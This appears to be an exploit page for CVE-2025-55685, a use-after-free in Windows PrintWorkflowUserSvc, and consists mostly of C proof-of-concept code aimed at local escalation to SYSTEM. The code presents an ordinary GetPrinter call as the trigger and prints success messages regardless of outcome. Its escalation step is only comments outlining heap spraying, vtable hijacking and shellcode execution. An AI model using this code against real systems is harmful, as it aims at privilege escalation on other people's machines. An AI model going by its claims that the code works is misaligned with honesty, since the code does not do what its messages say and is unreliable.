CVE-2025-55685：Windows PrintWorkflowUserSvc释放后使用漏洞

// CVE-2025-55685 - Windows PrintWorkflowUserSvc Use After Free PoC (Conceptual) // This is a conceptual PoC skeleton for a local privilege escalation exploit. // The actual exploit requires precise heap grooming and object lifecycle manipulation. #include <windows.h> #include <stdio.h> // Trigger the UAF in PrintWorkflowUserSvc by sending crafted print workflow requests BOOL TriggerUAF() { HANDLE hPrinter = NULL; PRINTER_DEFAULTS pd = {0}; pd.DesiredAccess = PRINTER_ALL_ACCESS; // Open a printer handle to interact with the print workflow service if (!OpenPrinter(L"Microsoft Print to PDF", &hPrinter, &pd)) { printf("[-] Failed to open printer handle: %d\n", GetLastError()); return FALSE; } // Allocate and prepare a crafted print job structure // The malicious payload targets the freed object in PrintWorkflowUserSvc DWORD dwBytesNeeded = 0; BYTE pBuffer[4096] = {0}; // Send crafted data to trigger the use-after-free condition // This causes the service to free an object and then access it again if (!GetPrinter(hPrinter, 2, pBuffer, sizeof(pBuffer), &dwBytesNeeded)) { printf("[*] Triggered UAF condition (expected error after free)\n"); } ClosePrinter(hPrinter); return TRUE; } // Post-exploitation: leverage the UAF to execute payload with SYSTEM privileges BOOL EscalatePrivilege() { // After triggering the UAF, the corrupted object can be used to hijack // execution flow within the PrintWorkflowUserSvc process (running as SYSTEM) // The attacker can redirect execution to a controlled payload printf("[+] UAF triggered, attempting privilege escalation to SYSTEM...\n"); // In a real exploit, this would involve: // 1. Heap spraying to place controlled data at the freed memory location // 2. Triggering the dangling pointer dereference // 3. Hijacking the execution flow (e.g., via vtable corruption) // 4. Executing shellcode with SYSTEM token return TRUE; } int main() { printf("[*] CVE-2025-55685 PoC - PrintWorkflowUserSvc UAF\n"); if (TriggerUAF()) { EscalatePrivilege(); } return 0; }